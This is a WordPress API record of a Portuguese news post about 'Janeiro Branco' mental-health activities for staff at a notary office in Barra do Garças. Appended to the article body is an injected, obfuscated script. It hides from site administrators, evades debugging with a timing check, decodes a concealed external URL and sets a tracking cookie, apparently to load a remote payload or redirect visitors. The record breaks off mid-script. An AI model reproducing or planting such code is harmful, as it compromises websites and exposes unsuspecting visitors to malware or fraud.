{"id":48499,"date":"2026-01-23T14:29:44","date_gmt":"2026-01-23T18:29:44","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=48499"},"modified":"2026-04-27T06:20:51","modified_gmt":"2026-04-27T10:20:51","slug":"1o-oficio-de-barra-do-garcas-promove-serie-de-acoes-voltadas-a-conscientizacao-sobre-a-saude-mental-e-o-bem-estar-emocional-dos-colaboradores","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/1o-oficio-de-barra-do-garcas-promove-serie-de-acoes-voltadas-a-conscientizacao-sobre-a-saude-mental-e-o-bem-estar-emocional-dos-colaboradores\/","title":{"rendered":"1\u00ba Of\u00edcio de Barra do Gar\u00e7as promove s\u00e9rie de a\u00e7\u00f5es voltadas \u00e0 conscientiza\u00e7\u00e3o sobre a sa\u00fade mental e o bem-estar emocional dos colaboradores"},"content":{"rendered":"<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-48503 \" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-4-1024x768.jpeg\" alt=\"\" width=\"749\" height=\"561\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-4-300x225.jpeg 300w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-4-1024x768.jpeg 1024w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-4-768x576.jpeg 768w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-4-1536x1152.jpeg 1536w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-4.jpeg 1600w\" sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Durante o m\u00eas de janeiro, o Cart\u00f3rio do 1\u00ba Of\u00edcio de Barra do Gar\u00e7as promoveu uma s\u00e9rie de a\u00e7\u00f5es voltadas \u00e0 conscientiza\u00e7\u00e3o sobre a sa\u00fade mental e o bem-estar emocional de seus colaboradores, em alus\u00e3o \u00e0 campanha \u201cJaneiro Branco\u201d, movimento nacional dedicado \u00e0 reflex\u00e3o sobre a qualidade de vida emocional.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-48500  alignright\" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-1-1024x768.jpeg\" alt=\"\" width=\"298\" height=\"223\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-1-300x225.jpeg 300w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-1-1024x768.jpeg 1024w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-1-768x576.jpeg 768w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-1.jpeg 1280w\" sizes=\"auto, (max-width: 298px) 100vw, 298px\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Com o objetivo de estimular o autocuidado, o di\u00e1logo e a preven\u00e7\u00e3o de adoecimentos ps\u00edquicos no ambiente de trabalho, diversas iniciativas foram realizadas ao longo do m\u00eas, integrando pr\u00e1ticas de reflex\u00e3o, atividades f\u00edsicas e momentos de integra\u00e7\u00e3o entre as equipes.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Entre as a\u00e7\u00f5es desenvolvidas, destacaram-se as reflex\u00f5es matinais, que proporcionaram momentos de pausa e conscientiza\u00e7\u00e3o antes do in\u00edcio das atividades di\u00e1rias, incentivando o equil\u00edbrio emocional e a aten\u00e7\u00e3o \u00e0s pr\u00f3prias emo\u00e7\u00f5es. Tamb\u00e9m foi promovido um jogo de v\u00f4lei entre os colaboradores, refor\u00e7ando a import\u00e2ncia da atividade f\u00edsica, do trabalho em equipe e da conviv\u00eancia saud\u00e1vel no ambiente profissional.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A programa\u00e7\u00e3o contou ainda com palestras conduzidas por psic\u00f3logos, que abordaram temas relacionados \u00e0 sa\u00fade mental, autocuidado, manejo do estresse e a import\u00e2ncia de buscar apoio profissional quando necess\u00e1rio. As atividades de medita\u00e7\u00e3o, yoga e gin\u00e1stica laboral complementaram as a\u00e7\u00f5es, oferecendo aos colaboradores pr\u00e1ticas voltadas ao relaxamento, \u00e0 redu\u00e7\u00e3o da tens\u00e3o f\u00edsica e mental e \u00e0 promo\u00e7\u00e3o da qualidade de vida no trabalho.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-48501  alignleft\" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-2.jpeg\" alt=\"\" width=\"252\" height=\"336\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-2-225x300.jpeg 225w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/xCgLv6Lq-JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-2-768x1024.jpeg 768w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2026\/01\/JANEIRO-BRANCO-NO-1o-OFICIO-DE-BARRA-DO-GARCAS-2.jpeg 960w\" sizes=\"auto, (max-width: 252px) 100vw, 252px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Segundo a gest\u00e3o do Cart\u00f3rio do 1\u00ba Of\u00edcio de Barra do Gar\u00e7as, as a\u00e7\u00f5es do \u201cJaneiro Branco\u201d refor\u00e7am o compromisso da serventia com a valoriza\u00e7\u00e3o das pessoas, reconhecendo que a sa\u00fade emocional \u00e9 fundamental para um ambiente de trabalho mais humano, produtivo e saud\u00e1vel.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A iniciativa foi bem recebida pelos colaboradores e reafirma a import\u00e2ncia de manter, ao longo de todo o ano, pr\u00e1ticas que promovam o bem-estar, o respeito e o cuidado com a sa\u00fade mental no contexto organizacional.<\/p>\n<p style=\"text-align: justify;\"><em>Fonte: 1\u00ba Of\u00edcio de Barra do Gar\u00e7as<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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